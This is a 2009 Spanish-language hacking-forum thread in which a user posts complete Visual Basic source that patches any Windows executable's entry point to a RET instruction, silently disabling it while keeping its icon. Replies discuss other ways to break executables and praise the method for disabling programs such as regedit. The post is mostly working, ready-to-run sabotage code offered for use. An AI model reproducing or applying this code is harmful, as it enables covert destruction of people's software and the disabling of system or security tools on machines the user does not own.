elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
28 Mayo 2012, 23:39  


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)

+  Foro de elhacker.net
|-+  Programación
| |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo, raul338)
| | |-+  [SOURCE][RET Exe Corruption] Corrompe cualquier Ejecutable
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [SOURCE][RET Exe Corruption] Corrompe cualquier Ejecutable  (Leído 1,042 veces)
Karcrack


Desconectado Desconectado

Mensajes: 2.192


Se siente observado ¬¬'


Ver Perfil
[SOURCE][RET Exe Corruption] Corrompe cualquier Ejecutable
« en: 7 Abril 2009, 19:01 »

Codigo relativo a este post:
Citar



Código
'---------------------------------------------------------------------------------------
' Modulo    : mPatchExe
' Autor     : Karcrack
' Fecha-Hora: 07/04/2009  18:43
' Finalidad : Deshabilita cualquier ejecutable
'---------------------------------------------------------------------------------------

Option Explicit
 
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal L As Long)
 
Private Enum ImageSignatureTypes
   IMAGE_DOS_SIGNATURE = &H5A4D     ''\\ MZ
   IMAGE_OS2_SIGNATURE = &H454E     ''\\ NE
   IMAGE_OS2_SIGNATURE_LE = &H454C  ''\\ LE
   IMAGE_VXD_SIGNATURE = &H454C     ''\\ LE
   IMAGE_NT_SIGNATURE = &H4550      ''\\ PE\0\0
End Enum
 
Private Type IMAGE_DOS_HEADER
   e_magic As Integer        ' Magic number
   e_cblp As Integer         ' Bytes on last page of file
   e_cp As Integer           ' Pages in file
   e_crlc As Integer         ' Relocations
   e_cparhdr As Integer      ' Size of header in paragraphs
   e_minalloc As Integer     ' Minimum extra paragraphs needed
   e_maxalloc As Integer     ' Maximum extra paragraphs needed
   e_ss As Integer           ' Initial (relative) SS value
   e_sp As Integer           ' Initial SP value
   e_csum As Integer         ' Checksum
   e_ip As Integer           ' Initial IP value
   e_cs As Integer           ' Initial (relative) CS value
   e_lfarlc As Integer       ' File address of relocation table
   e_ovno As Integer         ' Overlay number
   e_res(0 To 3) As Integer  ' Reserved words
   e_oemid As Integer        ' OEM identifier (for e_oeminfo)
   e_oeminfo As Integer      ' OEM information; e_oemid specific
   e_res2(0 To 9) As Integer ' Reserved words
   e_lfanew As Long          ' File address of new exe header
End Type
 
' MSDOS File header
Private Type IMAGE_FILE_HEADER
   Machine As Integer
   NumberOfSections As Integer
   TimeDateStamp As Long
   PointerToSymbolTable As Long
   NumberOfSymbols As Long
   SizeOfOptionalHeader As Integer
   characteristics As Integer
End Type
 
' Directory format.
Private Type IMAGE_DATA_DIRECTORY
   VirtualAddress As Long
   Size As Long
End Type
 
' Optional header format.
Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16
 
Private Type IMAGE_OPTIONAL_HEADER
   ' Standard fields.
   Magic As Integer
   MajorLinkerVersion As Byte
   MinorLinkerVersion As Byte
   SizeOfCode As Long
   SizeOfInitializedData As Long
   SizeOfUnitializedData As Long
   AddressOfEntryPoint As Long
   BaseOfCode As Long
   BaseOfData As Long
   ' NT additional fields.
   ImageBase As Long
   SectionAlignment As Long
   FileAlignment As Long
   MajorOperatingSystemVersion As Integer
   MinorOperatingSystemVersion As Integer
   MajorImageVersion As Integer
   MinorImageVersion As Integer
   MajorSubsystemVersion As Integer
   MinorSubsystemVersion As Integer
   W32VersionValue As Long
   SizeOfImage As Long
   SizeOfHeaders As Long
   CheckSum As Long
   SubSystem As Integer
   DllCharacteristics As Integer
   SizeOfStackReserve As Long
   SizeOfStackCommit As Long
   SizeOfHeapReserve As Long
   SizeOfHeapCommit As Long
   LoaderFlags As Long
   NumberOfRvaAndSizes As Long
   DataDirectory(0 To IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY
End Type
 
Private Type IMAGE_NT_HEADERS
   Signature As Long
   FileHeader As IMAGE_FILE_HEADER
   OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type
 
' Section header
Const IMAGE_SIZEOF_SHORT_NAME = 8
 
Private Type IMAGE_SECTION_HEADER
  SecName As String * IMAGE_SIZEOF_SHORT_NAME
  VirtualSize As Long
  VirtualAddress  As Long
  SizeOfRawData As Long
  PointerToRawData As Long
  PointerToRelocations As Long
  PointerToLinenumbers As Long
  NumberOfRelocations As Integer
  NumberOfLinenumbers As Integer
  characteristics  As Long
End Type
 
'---------------------------------------------------------------------------------------
' Procedimiento : PatchExe
' Autor         : Karcrack
' Fecha         : 07/04/2009
' Parametro(s)  : sPath -> La ruta del fichero
' Return        : True si todo fue bien
'---------------------------------------------------------------------------------------

Public Function PatchExe(ByVal sPath As String) As Boolean
   On Error GoTo Fallo
   Dim IDH             As IMAGE_DOS_HEADER
   Dim INH             As IMAGE_NT_HEADERS
   Dim ISH()           As IMAGE_SECTION_HEADER
 
   Dim bvCode()        As Byte
   Dim PE              As Long
   Dim i               As Long
   Dim Section         As Long
 
   bvCode = ReadFile(sPath)                                                        'Leemos el fichero
   
   Call CopyMemory(IDH, bvCode(0), Len(IDH))                                       'Leemos la info del PE
   Call CopyMemory(INH, bvCode(IDH.e_lfanew), Len(INH))                            'Leemos la info del PE
   
   For i = 0 To INH.FileHeader.NumberOfSections - 1
       ReDim Preserve ISH(0 To i)
       Call CopyMemory(ISH(i), bvCode(IDH.e_lfanew + Len(INH) + Len(ISH(i)) * i), Len(ISH(i)))
       If (INH.OptionalHeader.AddressOfEntryPoint => ISH(i).VirtualAddress) And (INH.OptionalHeader.AddressOfEntryPoint =< ISH(i).VirtualAddress + ISH(i).VirtualSize) Then
           Section = i
           Exit For
       End If
   Next i
 
   bvCode(INH.OptionalHeader.AddressOfEntryPoint - ISH(i).VirtualAddress + ISH(i).PointerToRawData) = &HC3 'Parcheamos el fichero (C3=RET)
   
   Call SaveFile(bvCode, sPath)
 
   PatchExe = True                                                                 'Todo funciono
   Exit Function                                                                   'Salimos
Fallo:
   PatchExe = False                                                                'Algo ha ido mal :S
End Function
 
 
'---------------------------------------------------------------------------------------
' Procedimiento : ReadFile
' Autor         : Karcrack
' Fecha         : 07/04/2009
' Parametro(s)  : sPath -> La ruta del fichero
' Return        : Devuelve un Byte array con los bytes del fichero
'---------------------------------------------------------------------------------------

Private Function ReadFile(ByVal sPath As String) As Byte()
   Dim bvTmp()         As Byte
 
   Open sPath For Binary As #1
       ReDim bvTmp(0 To LOF(1) - 1)
       Get #1, , bvTmp
   Close #1
 
   ReadFile = bvTmp
End Function
 
 
'---------------------------------------------------------------------------------------
' Procedimiento : SaveFile
' Autor         : Karcrack
' Fecha         : 07/04/2009
' Parametro(s)  : bvData() -> Array de datos
'                 sPath    -> Ruta de guardado
'---------------------------------------------------------------------------------------

Private Sub SaveFile(ByRef bvData() As Byte, ByVal sPath As String)
   Open sPath For Binary As #1
       Put #1, , bvData
   Close #1
End Sub
 


« Última modificación: 7 Abril 2009, 19:58 por Karcrack » En línea

el_c0c0


Desconectado Desconectado

Mensajes: 307


Ver Perfil
Re: [SOURCE][RET Exe Corruption] Corrompe cualquier Ejecutable
« Respuesta #1 en: 8 Abril 2009, 03:27 »

muy interesante, esta seria la forma logica, aunque reemplazando 2 o 3 kb del principio ya lo cagas.
saludos


En línea

'-     coco
"Te voy a romper el orto"- Las hemorroides
Karcrack


Desconectado Desconectado

Mensajes: 2.192


Se siente observado ¬¬'


Ver Perfil
Re: [SOURCE][RET Exe Corruption] Corrompe cualquier Ejecutable
« Respuesta #2 en: 8 Abril 2009, 10:38 »

muy interesante, esta seria la forma logica, aunque reemplazando 2 o 3 kb del principio ya lo cagas.
saludos
Si, solo con reemplazar el primer byte (M) ya no funciona... pero muestra una fea pantalla negra y se pierde el icono...
En línea

Dessa


Desconectado Desconectado

Mensajes: 612



Ver Perfil
Re: [SOURCE][RET Exe Corruption] Corrompe cualquier Ejecutable
« Respuesta #3 en: 8 Abril 2009, 11:57 »


Está bueno el code, se mantiene todo tal cual, icono y propiededes del ejecutable, me sirve para seguridad.

Saludos
« Última modificación: 9 Abril 2009, 00:00 por Dessa » En línea

Adrian Desanti
YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: [SOURCE][RET Exe Corruption] Corrompe cualquier Ejecutable
« Respuesta #4 en: 8 Abril 2009, 14:57 »

Tambien modificando el SizeOfImage a un valor malo te da que no es una aplicación valida , aunque muy util el metodo para desabilitar programas como el regedit ;) .
En línea



Yo le enseñe a Kayser a usar objetos en ASM
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¿Generar ejecutable para que funcione en cualquier PC?
Programación Visual Basic
theluigy13etv 8 1,300 Último mensaje 21 Marzo 2012, 04:24
por theluigy13etv
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines